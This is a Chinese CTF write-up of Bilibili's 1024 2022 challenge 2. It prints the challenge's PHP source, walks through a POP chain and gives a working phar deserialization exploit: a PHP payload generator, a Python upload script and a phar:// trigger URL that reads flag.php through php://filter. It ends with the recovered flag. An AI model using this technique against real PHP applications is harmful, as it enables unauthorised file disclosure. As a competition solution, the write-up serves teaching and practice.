b站1024-2022-WP
Created At :
Views 👀 :
第二题
打开题目看到提示upupup!
有可能是文件上传,访问一下upload.php,可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php header("content-type:text/html;charset=utf-8"); date_default_timezone_set('PRC');
if($_SERVER['REQUEST_METHOD']==='POST') { $filename = $_FILES['file']['name']; $temp_name = $_FILES['file']['tmp_name']; $size = $_FILES['file']['size']; $error = $_FILES['file']['error']; if ($size > 2*1024*1024){ echo "<script>alert('文件过大');window.history.go(-1);</script>"; exit(); } $arr = pathinfo($filename); $ext_suffix = $arr['extension']; $allow_suffix = array('jpg','gif','jpeg','png'); if(!in_array($ext_suffix, $allow_suffix)){ echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>"; exit(); } $new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix; move_uploaded_file($temp_name, 'upload/'.$new_filename); echo "success save in: ".'upload/'.$new_filename;
} else if ($_SERVER['REQUEST_METHOD']==='GET') { if (isset($_GET['c'])){ include("5d47c5d8a6299792.php"); $fpath = $_GET['c']; if(file_exists($fpath)){ echo "file exists"; } else { echo "file not exists"; } } else { highlight_file(__FILE__); } } echo 111; ?>
|
用POST方法是上传文件,而且只能上传文件名后缀为jpg,gif,jpeg,png的文件;用GET方法则是检查文件是否存在。再看一下5d47c5d8a6299792.php文件,也给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| <?php
class Modifier {
public function __invoke(){ include("index.php"); } }
class Action { protected $checkAccess; protected $id;
public function run() { if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){ echo "error path"; exit(); } if ($this->id !== 0 && $this->id !== 1) { switch($this->id) { case 0: if ($this->checkAccess) { include($this->checkAccess); } break; case 1: throw new Exception("id invalid in ".__CLASS__.__FUNCTION__); break; default: break; } } }
}
class Content {
public $formatters;
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
public function __call($name, $arguments) { return call_user_func_array($this->getFormatter($name), $arguments); } }
class Show{ public $source; public $str; public $reader; public function __construct($file='index.php') { $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString() { $this->str->reset(); }
public function __wakeup() { if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) { throw new Exception('invalid protocol found in '.__CLASS__); } }
public function reset() { if ($this->reader !== null) { $this->reader->close(); } } }
highlight_file(__FILE__);
|
结合给出多个类、文件上传、文件存在检验可以猜测攻击路径大概是通过上传phar文件,再由文件存在性检查来触发给出的类的反序列化,从而读取flag。
通过分析以上几个类发现只有Action类的run函数能偶进行文件包含,这应该就是调用的目标函数,pop链最终就是要调用Action类的run函数执行include读取flag。而show函数具有__construct和__toString函数,且__construct函数中存在字符串输出操作,能够触发__toString函数,这应该是反序列化调用链的起点。而Content类存在__call函数,其中还调用了call_user_func_array(),因此这个类可以作为跳板,从Show跳到Action类。Show类的__toString函数中有$this->str->reset();
,这个reset函数正是Content类所没有的,因此就会触发call_user_func_array函数调用Action的run函数,这样pop链就分析完成了。接下去就是一些细节的问题了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| <?php
class Action { protected $checkAccess='php://filter/convert.base64-encode/resource=../../../tmp/flag.php'; protected $id=NULL;
public function run() { if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){ echo "error path"; exit(); } if ($this->id !== 0 && $this->id !== 1) { switch($this->id) { case 0: if ($this->checkAccess) {echo 'flag!!!!'; include($this->checkAccess); } break; case 1: throw new Exception("id invalid in ".__CLASS__.__FUNCTION__); break; default: break; } } }
} class Content { public $formatters; public function __construct(){ $action=new Action; $this->formatters=array('reset'=>array($action,'run')); } public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
public function __call($name, $arguments) { return call_user_func_array($this->getFormatter($name), $arguments); } }
class Show{ public $source; public $str; public $reader; public function __construct($file='index.php') { $this->str=new Content; $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString() { $this->str->reset(); }
}
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new Show(); $o->source=new Show(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
上传phar文件后需要将其后缀改为jpg后再上传,以下是上传脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests file1=open('phar.phar','rb') file2=open('phar.jpg','wb') file2.write(file1.read()) file1.close() file2.close() url='http://42.192.54.239/upload.php' file={ "file": open('./phar.jpg','rb'), } post=requests.post(url=url,files=file) print(post.content)
|
上传文件后能够拿到文件路径,再通过一下方式触发反序列化读取文件。
1
| http://42.192.54.239/upload.php?c=phar:///var/www/html/upload/20221026191443765.jpg
|
读取到的base64文件:
1
| LyoqCiAqIGJpbGliaWxpQDIwMjIuCiAqIENvbmdyYXR1bGF0aW9ucyEgVGhpcyBpcyBUaGUgRmxhZyEKICogQXV0aDogSzNpb3ZlQGdpdGh1YgogKiBSZXBvOiAxMDI0LWNoZWVycwogKiBAbGluayBodHRwczovL3NlY3VyaXR5LmJpbGliaWxpLmNvbS8KICogQGxpY2Vuc2UgaHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tLwogKi8KCmZsYWcye1BoQXJfVGhlX2JFc1RfTGFuZ30K
|
解码后即可得到flag:
1 2 3 4 5 6 7 8 9 10 11 12
| /** * bilibili@2022. * Congratulations! This is The Flag! * Auth: K3iove@github * Repo: 1024-cheers * @link https://security.bilibili.com/ * @license https://www.bilibili.com/ */
flag2{PhAr_The_bEsT_Lang}
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com